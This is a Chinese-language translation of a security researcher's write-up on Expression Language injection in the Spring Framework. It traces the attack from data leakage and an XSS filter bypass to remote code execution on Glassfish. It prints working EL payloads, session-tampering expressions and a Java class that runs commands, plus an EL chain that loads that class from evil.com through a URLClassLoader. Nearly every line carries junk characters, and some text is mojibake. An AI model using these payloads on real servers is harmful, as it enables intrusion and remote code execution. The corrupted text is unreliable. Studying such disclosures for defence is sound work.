Remote Code with/ a" Y0 h8 ~3 Q! u; |
Expression Language Injection
; m& s6 |8 P1 c0 M5 v6 }Spring Framework脆弱性—DanAmodio
( O, R; n# ?5 C/ s2 Q) a全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
2 Z9 P# m4 R# P可能会存在风险。5 @) y4 V/ _# }6 i9 I5 G' R! e
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的9 ^' N/ v! f' o5 t8 L
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可+ l" y. K2 X. N0 r/ e/ p# a
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
1 M$ ~8 M+ K1 ~* T以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
5 `, g- c" L$ J. ?; f K版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
; B" w+ J& E- U, Q由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
! n, l2 c4 B% A+ ]! a我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版7 L/ R& _* Z+ ]9 s
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
$ D; m0 r# s, o a9 W6 o这些版本不支持禁用double EL resolution.7 b& r W5 p6 N2 s) R+ ^
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含$ G. G) c3 r; `4 O+ T p; n
EL2.2容器上可能进行远程代码执行。4 ]7 D5 o, C2 h) ]% s$ s9 N
这是一个原始信息泄露的攻击例子:
, _" z# ?& L4 S1 M9 D; o$ o请求:0 M% {; |2 j9 Y$ @4 m& U3 {
ttp://vulnerable.com/foo?message=${applicationScope}3 r, e$ {+ r0 n1 L
到达以下内容页面:
5 j' m1 V. w5 P+ t# l结果将输出一些包含内部服务器信息calsspath 和本地工作目录
+ e8 B* C- n" D* i7 `0 \1 m# m4 q你也可以做一些其他事情,如这样:! n0 H R h, b k5 _3 M5 W5 L
${9999+1} I* n2 H' V9 z
还可以访问session 对象和beans" ], H, x, y2 J/ W% U& R% p- X! w
${employee.lastName}6 u c/ T3 {* y5 `& |+ ^5 o
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
# K! B! k: B# a, jEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
1 H! Q' b& \7 M8 t/ }5 {4 E6 A% M西,比如XSS.
, l0 x0 b; h( l' [3 t5 n y1 U哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签3 R9 k- Z/ D6 w6 ?; M" f1 G* \
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤( c! }" D4 x5 D( Y& \1 Q" \2 a
呢?”# U+ F4 [; `5 t, h6 L
因此,我尝试巳缦拢�
) m. k1 u0 U7 K6 ^- f' ahttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
& l' L( b( ^' h2 @. L3 N+ \P* L5 h1 C$ t& l/ d
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返: Y7 K# m! _2 k5 z; k
回的文本被插入进了spring:message 标签。
! z0 n2 \! L( R: W) _6 C; N这里是一个最终绕过过滤的实例:0 T+ h) i. t5 t7 [. f
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
$ ~$ c" T- q% _" a6 w4 q9 Y5 Y$ k它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
/ K8 N5 f" W& {% b1 U什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?& X' F3 G8 w Z5 j0 W! U
经过一番研究,我学习到EL2.2 增加了方法调用。
* c4 f! H% O% b) q0 }我写了一个快速测试应用程序代码并且检测一些功能
4 h, F. G6 I l: ?. J2 D${pageContext.request.getSession().setAttribute(“account”,”123456″)}
& h" ]; E( G' ], E3 E' L${pageContext.request.getSession().setAttribute(“admin”,true)}' U9 m3 T; _- Q+ z. h9 u
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
- G, ]) y3 y1 d/ T指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
7 l1 g5 f+ y2 P* W${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
* j+ }- ?6 X) {' o“, 1234)}! n: H5 k: f. w, X
${“”.getClass().forName(“java.lang.Runtime”)} [ K5 a0 _) C. _
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不; c$ s5 c5 n6 |7 B5 v
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函0 F4 B/ o! U( N! A) Y
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
: L# U2 S: V# x# W9 e一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
, W: \7 C; W6 p. }+ e" i' S方法签名invoke(Object obj, Object„ args)
! L, z5 _3 N& g; v7 o- yJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
9 a; `! |) V& y1 c' |* M y6 _题,以让它可以工作起来。
2 [9 i& N" x4 r* w! }4 m漏洞利用:' R; \4 O) h: K$ F4 {7 O
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
6 v' ~7 r( G r/ s5 G希望你们中的一些JAVA奇才告诉我我是如此的可笑。% B6 F0 z9 J3 W, K
这里有一些我试过的失败的用例,为了试图让它工作的用例:% ~- m) B8 v0 s2 ]8 a# o. _$ \1 p
写文件到文件系统: g* k* r' Z& q+ @
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.; ~1 Q. A( \& T
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
! d1 Q7 z3 e' F${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( D# j, _: c- o. d: {) c: qjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
# m- f2 }! C; c" u, S) Z3 E. F7 torg.springframework.expression.spel.standard.SpelExpressionParser not found7 _" M( ]% W3 c* ^* d. ?( u3 J
by2 ~) l& s( _% D9 t& S$ f, o$ h8 y M
org.glassfish.web.javax.servlet.jsp [194].
. c- m. ?3 J( m! G4 V& _$ G 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
7 R" R* |; P! a1 e& Q1 i$ W* D0 a 利用反射来创建一个新的Runtime(and watch the world burn)
3 t E& X2 T0 C2 B% m4 M${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName4 S* Y: H( S1 U5 r, Y% q
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
/ P" ?$ ~2 { N${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}+ E" S+ x6 @) |9 r
使用java.lang.ProcessBuilder
) V$ V8 {4 h! o% V2 _ 用表达式语言来评估表达式语言
$ Q* l; J2 P D9 `4 _( L6 R2 _Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.% y+ F) {0 e5 ]; m+ h% H
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
7 l/ D6 U# t3 U" I% L# l“,”".getClass(),null)}% o6 Q: Y% C# { s; [3 e
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)3 t2 U& X* k# o9 J8 A1 [: X5 }
我在使用一个空数组通过Method.invoke()时失败了很多次
9 t" g4 R, j9 U, q% ?- C4 c- y“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo3 ^$ z$ U d) ^% [: {- v9 ^
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
5 `" B4 f) v9 DrrayList”).newInstance().toArray())
" a; y, u1 D1 Q5 b- s+ X1 }java.lang.IllegalArgumentException: wrong number of arguments/ o4 y; V+ V1 p* |* F
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
; {; i0 |3 |8 c- z7 }以创建一个恶意class文件并且指向类装载器.
- J1 U" e2 H6 X% `( k8 s我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:- E2 v+ K5 l! [ u1 N
public class Malicious {
1 ?+ @. Z5 [. |; }* w1 ?/ gpublic Malicious() {( v! `5 z% e% G
try {
$ G+ j# r) J$ y ?1 ajava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac7 u [8 |, z5 ` g
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
4 k/ Z( E2 u/ h} catch (Exception e) {
5 [" w1 U% t8 `) U) \3 X$ Y}
' E5 l' u4 N& M7 G}% V' t% g1 S1 p$ O5 \+ _# x; y
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回8 S5 L- n7 D5 T) L8 H4 [1 z' T
话中,因此它可以被使用.$ r1 m3 j, D/ v
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
9 t1 o$ b3 e1 A3 e(“java.util.ArrayList”).newInstance())}
0 F$ U P- k0 B: P8 sURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建5 \. ]% S" l# L5 l1 F
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和) A9 i& T, g# R# i, u
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
; _5 y$ B- C# X5 F6 A' F; @我们可以调用的create(string)方法,然后转换对一个URL对象。
. b) y$ n# u) p& g${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
8 I4 A9 n* H& s- B5 @8 y. @ere/malicious/classfile/is/located/”).toURL())} A- O/ E! E3 ]
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
' d# {: s5 ?- t0 r# T4 D恶意类文件被装载并创建,触发远程代码./ w7 F. q( [6 t* B a: j( X b
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
# t% @4 t( ]2 q9 b, |! C( A; Yxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
- o* h' {" d$ e4 O& ], ^7 ZgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance4 v9 V+ S7 f s4 y! |8 Z5 @
()} |